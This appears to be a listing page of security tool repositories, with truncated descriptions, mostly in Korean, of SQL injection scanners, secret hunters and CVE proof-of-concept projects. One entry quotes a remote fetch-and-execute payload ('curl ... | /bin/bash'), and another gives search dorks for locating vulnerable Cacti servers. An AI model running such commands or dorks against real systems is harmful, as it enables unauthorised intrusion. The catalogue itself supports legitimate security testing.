sqlifinder

Python으로 제작된 SQL 인젝션 스캐너입니다. 기능 • 설치 • 사용법 • sqlifinder는 waybackurls, 웹 크롤러 및 SQL 인젝션 페이로드를 사용하여 웹 애플리케이션의 GET 기반 SQL 인젝션 취약점을 탐지하는 도구입니다. 기능 빠르고 강력한 스캐너 웹 크롤러 및 waybackurls 포함 사용법 python3 sqlifinder.py -h 이 명령은 도구의 도움말을 표시합니다. 지원되는 모든 스위치를 확인할 수 있습니다. 설치 Sqlifinder는 다음이 필요합니다: python3 huepy...

MicroburstSecretsHunter

MicroBurst Secrets Hunter Azure 환경에서 평문으로 저장되어서는 안 되는 비밀번호, 키, 연결 문자열 및 기타 비밀 정보를 찾기 위해 MicroBurst 의 Get-AzDomainInfo 출력을 샅샅이 훑어보는 PowerShell 스캐너입니다. 읽기 전용 감사 워크플로 를 위해 설계되었습니다: MicroBurst로 도메인 덤프를 수집하고Get-AzDomainInfo에는 Reader 권한이면 충분합니다, 이 도구를 출력 폴더에 지정하면 됩니다. 이 도구는 Azure 자체에는 접촉하지 않으며, 이미 내보낸...

CVE-2025-55885

CVE-2025-55885 説明 SQLインジェクションの脆弱性がAlpes Recherche et Developpement ARD GEC en Ligneのv.2025-04-23以前のバージョンに存在し、リモート攻撃者が権限を昇格させる ことをindex.phpのGETパラメータを介して可能にします。 攻撃ベクトル サニタイズされていないGETパラメータocidを介したSQLインジェクション。https://services.ard.fr/index.php（トランザクション確認ページ）上。 概念実証 ペイロード sqlmap -u...

ARPwner

설치 apt-get install python-pypcap...

Pummel

██████╗ ██╗ ██╗███╗ ███╗███╗ ███╗███████╗██╗ ██╔══██╗██║ ██║████╗ ████║████╗ ████║██╔════╝██║ ██████╔╝██║ ██║██╔████╔██║██╔████╔██║█████╗ ██║ ██╔═══╝ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║ ██║ ╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝ 면책 사항: 이 도구는...

ParamPamPam

ParamPamPam 이 도구는 GET 및 POST 파라미터를 무차별 대입 방식으로 발견합니다. 설치 Docker 사용 Docker를 설치하세요 git clone https://github.com/Bo0oM/ParamPamPam.git cd ParamPamPam docker build -t parampp . echo -e '!'"/bin/bash\ndocker run -ti --rm parampp $@" /usr/local/bin/parampp parampp -u "https://vk.com/login" 게으른 경우...

KaliPackergeManager

KaliPackergeManager kalipm.sh는 칼리 리눅스를 위한 강력한 패키지 관리 도구로, 사용자 친화적인 메뉴 기반 인터페이스를 제공하여 다양한 패키지와 도구의 설치를 간소화합니다. 소프트웨어 관리 프로세스를 간소화하고 사용자가 여러 카테고리의 패키지를 쉽게 설치할 수 있도록 합니다. 기능 대화형 메뉴: 직관적이고 사용자 친화적인 메뉴 기반 인터페이스를 통해 패키지를 쉽게 선택할 수 있습니다. 카테고리별 패키지: 시스템, 데스크탑, 도구, 메뉴 및 기타 등 여러 카테고리에 걸쳐 패키지를 탐색할 수 있습니다. 효율...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 이전, Go 1.9.x 1.9.4 이전, Go 1.10 프리릴리스 1.10rc2 이전 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. mitre에서 인용 RCE 명령 명령은 동적 라이브러리 calcdarwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 사용법: python3 cve-2024-29895.py -u https://target.com/ -c id cmdrealtime.php가 존재하고 POLLERID가 활성화된 DEV 빌드의 Cacti 1.3.X 버전에 영향을 줍니다. 이 엔드포인트를 통해 GET 요청 시 페이로드를 HTML 쿼리 매개변수로 전달하여 명령 삽입Command Injection이 가능합니다. Dork: Google: inurl:cmdrealtime.php Shodan: Cacti Hunter.how:...

sqlmc

SQLMC - SQL 인젝션 대량 점검기 Demo 정보 이 도구는 교육 목적으로만 사용해야 하며, 사전 상호 동의 없이 SQLMC를 사용하여 대상을 공격하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 개요 SQLMCSQL Injection Massive Checker는 도메인의 SQL 인젝션 취약점을 스캔하도록 설계된 도구입니다. 주어진 URL을 지정된 깊이까지 크롤링하고, 각 링크의 SQL 인젝션 취약점을 확인한 후 결과를 보고합니다. 기능 도메인...

CVE-2025-24893-PoC

CVE-2025-24893 – XWiki 원격 명령 실행 개념 증명 개요 이 저장소는 XWiki 에 영향을 미치는 인증되지 않은 원격 명령 실행RCE 취약점인 CVE-2025-24893 에 대한 통제된 개념 증명PoC을 포함하고 있습니다. 이 취약점은 안전하지 않은 서버 측 템플릿 및 스크립트 평가로 인해 공격자가 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 합니다. XWiki 소개 XWiki는 일반적으로 다음과 같은 용도로 사용되는 오픈소스 엔터프라이즈 위키 플랫폼입니다: 내부 문서 지식 베이스 팀 협업 포털 XWik...

log4j-scan

1 사용 설명 CVE-2021-44228 log4j 2.x RCE 취약점 탐지 도구로, 대상 링크에 GET 요청을 보내고 dnslog를 이용해 콜백 여부를 탐지합니다. $ python3 log4j-scan.py -h Usage: python log4j-scan.py -u Options: -h, --help show this help message and exit -u URL, --url=URL 输入需要检查的链接，如: https://ainrm.cn 2 과정 스크린샷 1. 공개된 payload 8개와 요청 헤더 18개를 내장하여 ...

get-pixels-updated

이 버전은 CVE-2020-8175 보안 문제를 패치한 get-pixels의 업데이트 버전입니다. 생성 시점에 package.json을 제외한 모든 파일은 원본 저장소의 파일과 동일합니다. get-pixels-updated 다음 내용은 get-pixels GitHub 페이지에서 가져온 것입니다. 앞서 언급했듯이, 이 저장소는 호환성이 깨지는 변경 사항이 없으며 원본 저장소와 거의 동일합니다. URL/경로가 주어지면 이미지의 모든 픽셀을 가져와 결과를 ndarray로 반환합니다. 100% JavaScript로 작성되었으며...

SCANNER-INURLBR

新しいリポジトリ 検索エンジンでの高度な検索により、GET/POSTを介したメールアドレスやURLのキャプチャを利用した分析を可能にし、見つかった各ターゲット/URLに対して内部のカスタム検証ジャンクションを提供します。 https://github.com/MrCl0wnLab/SCANNER-INURLBR...

CVE-2025-47423

CVE-2025-47423 – Local File Inclusion in Personal Weather Station Dashboard 12lts Discovered by: Matthew Eagle Status: Public Disclosure Date Reported: 2025-05-05 CVE ID: CVE-2025-47423 🧩 Summary A Local File Inclusion LFI vulnerability in the Personal Weather Station Dashboard version 12lts allo...

PowerGram

PowerGram PowerGram 은 Windows, Linux 또는 Mac OS에서 실행할 수 있는 순수 PowerShell 텔레그램 봇입니다. 사용하려면 PowerShell 4 이상과 인터넷 연결만 있으면 됩니다. 봇과 텔레그램 서버 간의 모든 통신은 HTTPS로 암호화되지만, 모든 요청은 GET 방식으로 전송되므로 쉽게 가로챌 수 있습니다. 요구 사항 PowerShell 4.0 이상 다운로드 전체 저장소를 복제하거나 zip 파일을 다운로드하는 것이 좋습니다. 다음 명령어를 실행하여 수행할 수 있습니다: git clone...

ghauri

Like Ghauri, consider supporting the developer Ghauri An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws. Requirements Python 3 Python pip3 Installation cd to ghauri directory. install requirements: python3 -m pip install --upgrade ...

CVE-2023-23752

CVE-2023-23752 Joomla CVE-2023-23752 스캐너용 간단한 프로그램입니다. 이는 대상 목록이 웹 애플리케이션의 심각한 보안 취약점인 CVE-2023-23752에 취약한지 확인하는 간단한 Ruby 스크립트입니다. 이 스크립트는 지정된 엔드포인트에 HTTP GET 요청을 보내고, 응답에서 정보를 추출하여 대상이 취약한지 여부를 판단합니다. 사용법 ruby scanner.rb list.txt output.txt list.txt는 대상 도메인 또는 IP 목록을 줄바꿈으로 구분하여 포함하는 파일입니다...

CVE-2025-55182-burpscanner

CVE-2025-55182-burpscanner CVE-2025-55182 취약점 탐지를 위한 Burp Suite 수동 스캔 플러그인, JDK 17 사용 플러그인 사용법: 기본적으로 history 스캔 / 우클릭 능동 스캔, 취약점 식별 시 자동으로 CVE-2025-55182 모듈로 이동 중복 제거 메커니즘 스캔 과정에서 동일한 취약점이 중복 기록되는 것을 방지하기 위해, 본 도구는 host + path 기반의 고유성 판단을 사용합니다: host + path를 취약점 기록의 고유 식별자로 사용 새로운 취약점과 기존 기록의 고유...

DSSS

아주 작은 SQLi 스캐너 아주 작은 SQLi 스캐너 DSSS는 100줄 미만의 코드로 작성된 완전한 기능의 SQL 인젝션 취약점 스캐너입니다 GET 및 POST 매개변수 지원. 선택적 설정으로 HTTP 프록시와 함께 HTTP 헤더 값 User-Agent, Referer 및 Cookie를 지원합니다. 실행 예시 $ python3 dsss.py -h Damn Small SQLi Scanner DSSS 100 LoC Lines of Code v0.3a by: Miroslav Stampar @stamparm Usage: dsss.p...